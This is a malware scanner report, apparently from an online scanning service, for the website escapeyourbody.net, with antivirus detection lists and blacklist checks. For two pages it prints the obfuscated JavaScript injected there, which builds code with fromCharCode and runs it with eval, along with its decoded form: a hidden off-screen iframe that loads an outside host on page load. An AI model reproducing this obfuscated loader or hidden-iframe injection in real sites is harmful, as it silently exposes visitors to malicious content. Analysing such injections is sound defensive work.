New scan:

Malware Scanner report for escapeyourbody.net

Malicious/Suspicious/Total urls checked
2/0/12
2 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/0
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://www.escapeyourbody.net/
200 OK
Content-Length: 8688
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

try{1-prototype;}catch(asd){x=2;}
if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105
... 176 bytes are skipped ...
,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}
if(x&&f&&012===10)e(s);

Decoded script:



function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://michaelmazur.net/xml.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://michaelmazur.net/xml.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

Antivirus reports:

Avast
JS:Redirector-ZK [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BYF
K7AntiVirus
Trojan
TrendMicro-HouseCall
JS_IFRAME.SMRR
Emsisoft
Trojan.JS.Iframe.BYF (B)
Comodo
TrojWare.JS.iFrame.BRR
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.A
TrendMicro
JS_IFRAME.SMRR
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Trojan:JS/Iframe.BS
MicroWorld-eScan
Trojan.JS.Iframe.BYF
NANO-Antivirus
Trojan.Script.Iframe.vjblc
F-Secure
Trojan.JS.Iframe.BYF
F-Prot
JS/IFrame.QD
Norman
Iframe.PG
GData
Trojan.JS.Iframe.BYF
Commtouch
JS/IFrame.QD
BitDefender
Trojan.JS.Iframe.BYF

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
200 OK
Content-Length: 57254
Content-Type: text/javascript
clean
http://www.escapeyourbody.net/fadeslideshow.js
200 OK
Content-Length: 13000
Content-Type: text/javascript
clean
http://www.escapeyourbody.net/index.php
200 OK
Content-Length: 8688
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

try{1-prototype;}catch(asd){x=2;}
if(x){fr="fromChar";f=[4,0,91,108,100,88,107,95,100,101,22,91,105,99,54,91,90,29,32,22,112,4,0,107,88,104,21,96,92,103,100,22,50,23,90,100,90,107,98,92,100,105,37,89,103,92,87,105,92,59,97,92,99,90,101,106,29,30,95,91,105,87,98,92,29,30,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,101,102,105,94,107,95,100,101,51,28,88,88,104,102,98,106,107,91,28,50,3,-1,96,92,103,100,36,104,107,111,97,92,36,105,102,102,50,30,35,46,48,47,90,100,29,48,4,0,94,93,104,98,37,105
... 176 bytes are skipped ...
,92,106,36,111,99,97,37,102,93,103,24,48,4,0,94,93,104,98,37,95,89,23,51,21,30,92,103,100,63,89,30,49,2,1,90,100,90,107,98,92,100,105,37,88,100,91,111,35,88,102,101,92,100,89,58,94,94,99,90,29,96,92,103,100,31,48,4,0,114,50,3,-1,110,95,99,91,101,108,37,101,99,99,101,86,91,22,50,23,92,103,100,55,89,91,49,2,1];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Code":"");zx=fr+z;for(i=0;286-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));}
if(x&&f&&012===10)e(s);

Decoded script:



function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://michaelmazur.net/xml.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

function frmAdd() {
var ifrm = document.createElement('iframe');
ifrm.style.position='absolute';
ifrm.style.top='-999em';
ifrm.style.left='-999em';
ifrm.src = "http://michaelmazur.net/xml.php";
ifrm.id = 'frmId';
document.body.appendChild(ifrm);
};
window.onload = frmAdd;

Antivirus reports:

Avast
JS:Redirector-ZK [Trj]
Ikarus
Trojan.IframeRef
nProtect
Trojan.JS.Iframe.BYF
K7AntiVirus
Trojan
TrendMicro-HouseCall
JS_IFRAME.SMRR
Emsisoft
Trojan.JS.Iframe.BYF (B)
Comodo
TrojWare.JS.iFrame.BRR
McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.A
TrendMicro
JS_IFRAME.SMRR
Kaspersky
HEUR:Trojan.Script.Generic
Microsoft
Trojan:JS/Iframe.BS
MicroWorld-eScan
Trojan.JS.Iframe.BYF
NANO-Antivirus
Trojan.Script.Iframe.vjblc
F-Secure
Trojan.JS.Iframe.BYF
F-Prot
JS/IFrame.QD
Norman
Iframe.PG
GData
Trojan.JS.Iframe.BYF
Commtouch
JS/IFrame.QD
BitDefender
Trojan.JS.Iframe.BYF

http://www.escapeyourbody.net/ex.php
200 OK
Content-Length: 7353
Content-Type: text/html
clean
http://www.escapeyourbody.net/advantages.php
200 OK
Content-Length: 7780
Content-Type: text/html
clean
http://www.escapeyourbody.net/services.php
200 OK
Content-Length: 6976
Content-Type: text/html
clean
http://www.escapeyourbody.net/faq.php
200 OK
Content-Length: 13492
Content-Type: text/html
clean
http://www.escapeyourbody.net/form.php
200 OK
Content-Length: 5178
Content-Type: text/html
clean
http://www.escapeyourbody.net/coming.php
200 OK
Content-Length: 5737
Content-Type: text/html
clean
http://www.escapeyourbody.net/test404page.js
404 Not Found
Content-Length: 2445
Content-Type: text/html
clean
http://cdn.dsultra.com/js/registrar.js
200 OK
Content-Length: 1688
Content-Type: application/x-javascript
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: escapeyourbody.net

Result:
Second query (visit from search engine):
GET / HTTP/1.1
Host: escapeyourbody.net
Referer: http://www.google.com/search?q=escapeyourbody.net

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=escapeyourbody.net

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://escapeyourbody.net/

Result: escapeyourbody.net is not infected or malware details are not published yet.